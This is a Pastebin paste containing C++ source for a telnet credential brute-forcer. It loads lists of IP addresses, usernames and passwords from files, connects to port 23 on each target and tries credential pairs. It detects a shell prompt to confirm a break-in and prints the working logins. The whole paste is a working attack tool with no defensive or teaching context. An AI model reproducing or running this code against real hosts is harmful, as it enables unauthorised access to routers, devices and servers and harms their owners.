Advertisement
Guest User

Untitled

a guest
Jul 1st, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.28 KB | None | 0 0
  1. #include <cstdlib>
  2. #include <cstdio>
  3. #include <winsock2.h>
  4. #include <string>
  5. #include <vector>
  6. #include <iostream>
  7. #include <fstream>
  8.  
  9. //#define _DEBUG_
  10. using namespace std;
  11.  
  12. const unsigned short usTelnetPort = 23;
  13.  
  14. const char szIpAddressFile[] = "ip.txt";
  15. const char szUsernameFile[] = "usernames.txt";
  16. const char szPasswordFile[] = "passwords.txt";
  17.  
  18.  
  19.  
  20.  
  21. void LoadListFromFile( ifstream& Reader, vector<string>& vList )
  22. {
  23.   string sTemp;
  24.   while( Reader.good() && (!Reader.eof()) )
  25.     {
  26.         Reader>>sTemp;
  27.         vList.push_back(sTemp);
  28.     }
  29. }
  30.  
  31.  
  32.  
  33.  
  34. #ifdef _DEBUG_
  35. void DisplayList( vector<string>& vList )
  36. {
  37.     vector<string>::iterator vIter;
  38.     for( vIter = vList.begin(); vIter != vList.end(); ++vIter )
  39.     {
  40.       cout<<*vIter<<endl;
  41.     }
  42. }
  43. #endif
  44.  
  45.  
  46.  
  47.  
  48.  
  49. bool Login( SOCKET sSock, const sockaddr_in& ConnInfo, const string sUsername, vector<string>& vPasswords, string& sPassword )
  50. {
  51.     vector<string>::iterator vPasswordIter;
  52.     bool bSuccess = false;
  53.      
  54.      
  55.     for( vPasswordIter = vPasswords.begin(); vPasswordIter != vPasswords.end(); ++vPasswordIter )
  56.     {
  57.         // Send Username and Password
  58.         string sCredentials = sUsername+"\r\n"+(*vPasswordIter)+"\r\n";
  59.         send(sSock,sCredentials.c_str(),sCredentials.length(),0);
  60.        
  61.        
  62.         unsigned int uiTotalBytesReceived = 0;
  63.         int iBytesReceived = 0;
  64.         const BYTE bIAC = 0xFF;
  65.         string sBuffer;
  66.         BYTE bValue = 0;
  67.         unsigned short usSuccessiveDisconnects = 0;
  68.        
  69.         bool bIAC_Received = false;
  70.         bool bOperation_Received = false;
  71.         bool bConnected = false;
  72.                    
  73.          while( true )
  74.                {
  75.                     iBytesReceived = recv(sSock,(char*)&bValue,1,0);
  76.                     if( iBytesReceived == SOCKET_ERROR ) break;
  77.                    
  78.                     else if( iBytesReceived == 0 ) // Remote Party closed connection
  79.                     {
  80.                       ++usSuccessiveDisconnects;
  81.                       if( (usSuccessiveDisconnects == 2) ||
  82.                            ((bConnected = !connect(sSock,(sockaddr*)&ConnInfo,sizeof(ConnInfo))) == false)
  83.                            ) break;
  84.                     }
  85.                    
  86.                     else uiTotalBytesReceived += iBytesReceived;
  87.                    
  88.                    
  89.                    usSuccessiveDisconnects = 0;
  90.                    
  91.                    if( bOperation_Received  ) {  bOperation_Received = false; continue; }
  92.                    else if( bValue == bIAC ) bIAC_Received = true;
  93.                    else if ( bValue > 0x80 ){  if( bIAC_Received ){ bOperation_Received = true; bIAC_Received = false; } }
  94.                    else if( bValue < 0x80 )
  95.                     {
  96.                          if( (bValue > 96) && (bValue < 123) ) bValue -= 32;
  97.                          sBuffer += bValue;
  98.                          
  99.                          if( sBuffer.find("FAIL") != string::npos )  { bSuccess = false; break; }
  100.                          if( (sBuffer.find(">") != string::npos) || (sBuffer.find("#") != string::npos) ) { bSuccess = true; break; }
  101.                          
  102.                      }
  103.                    
  104.                  
  105.                }
  106.        
  107.         if( usSuccessiveDisconnects == 2 ) break;
  108.         if( bSuccess ) { sPassword = *vPasswordIter; break; }
  109.        
  110.        
  111.     }
  112.    
  113.     return bSuccess;
  114. }
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124. int main(int argc, char *argv[])
  125. {
  126.    
  127.     WSADATA wsaData;
  128.     WSAStartup(MAKEWORD(2,0),&wsaData);
  129.    
  130.    
  131.     /*************************************************************************/
  132.     /*             Load Lists of Ip Addresses,Usernames,Passwords            */
  133.     /*************************************************************************/
  134.    
  135.     vector<string> vIpAddresses;
  136.     vector<string> vUsernames;
  137.     vector<string> vPasswords;
  138.    
  139.    
  140.     ifstream  IpAddressFileReader(szIpAddressFile,ifstream::in);
  141.     ifstream  UsernameFileReader(szUsernameFile,ifstream::in);
  142.     ifstream  PasswordFileReader(szPasswordFile,ifstream::in);
  143.    
  144.    
  145.     if( !(IpAddressFileReader.good() && UsernameFileReader.good() && PasswordFileReader.good())  )
  146.      {
  147.         cout<<"Failed to open file!\n\n";
  148.         exit(1);
  149.      };
  150.    
  151.     LoadListFromFile( IpAddressFileReader,vIpAddresses );
  152.     LoadListFromFile( UsernameFileReader, vUsernames );
  153.     LoadListFromFile( PasswordFileReader, vPasswords );
  154.    
  155.    
  156.     IpAddressFileReader.close();
  157.     UsernameFileReader.close();
  158.     PasswordFileReader.close();
  159.    
  160.     #ifdef _DEBUG_
  161.     DisplayList(vIpAddresses);
  162.     DisplayList(vUsernames);
  163.     DisplayList(vPasswords);
  164.     #endif
  165.    
  166.    
  167.     /**************************************************************************/
  168.    
  169.    
  170.    
  171.    
  172.    
  173.    
  174.     sockaddr_in ConnInfo;
  175.     ConnInfo.sin_family = AF_INET;
  176.     ConnInfo.sin_port = htons(usTelnetPort);
  177.    
  178.     bool bSocketInvalidated = true;
  179.     SOCKET sConnSock;
  180.    
  181.     vector<string>::iterator vIpAddressIter;
  182.     vector<string>::iterator vUsernameIter;
  183.    
  184.     for( vIpAddressIter = vIpAddresses.begin(); vIpAddressIter != vIpAddresses.end(); ++vIpAddressIter )
  185.     {
  186.         ConnInfo.sin_addr.s_addr = inet_addr( vIpAddressIter->c_str() );
  187.         bool bSuccessfulLogin = false;
  188.         if( bSocketInvalidated )  sConnSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  189.  
  190.         bool bConnected = !connect( sConnSock,(sockaddr*)&ConnInfo,sizeof(sockaddr_in) );
  191.         if( !bConnected ) { cout<<"Failed to connect to: "<<*vIpAddressIter<<endl; continue; }
  192.         cout<<"Connected to: "<<*vIpAddressIter<<endl;
  193.        
  194.         for( vUsernameIter = vUsernames.begin(); vUsernameIter != vUsernames.end(); ++vUsernameIter )
  195.         {
  196.             string sPassword;
  197.             bSuccessfulLogin = Login( sConnSock, ConnInfo,*vUsernameIter,vPasswords, sPassword );
  198.             if( bSuccessfulLogin ) { cout<<"Username: "<<*vUsernameIter<<endl<<"Password: "<<sPassword<<endl<<endl; break;}
  199.         }
  200.        
  201.         if( !bSuccessfulLogin ) cout<<"Failed to gain access!\n\n";
  202.        
  203.         closesocket( sConnSock );
  204.         bSocketInvalidated = true;
  205.        
  206.     }
  207.    
  208.    
  209.    
  210.  
  211.    
  212.  
  213.    
  214.     WSACleanup();
  215.     system("pause");
  216. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement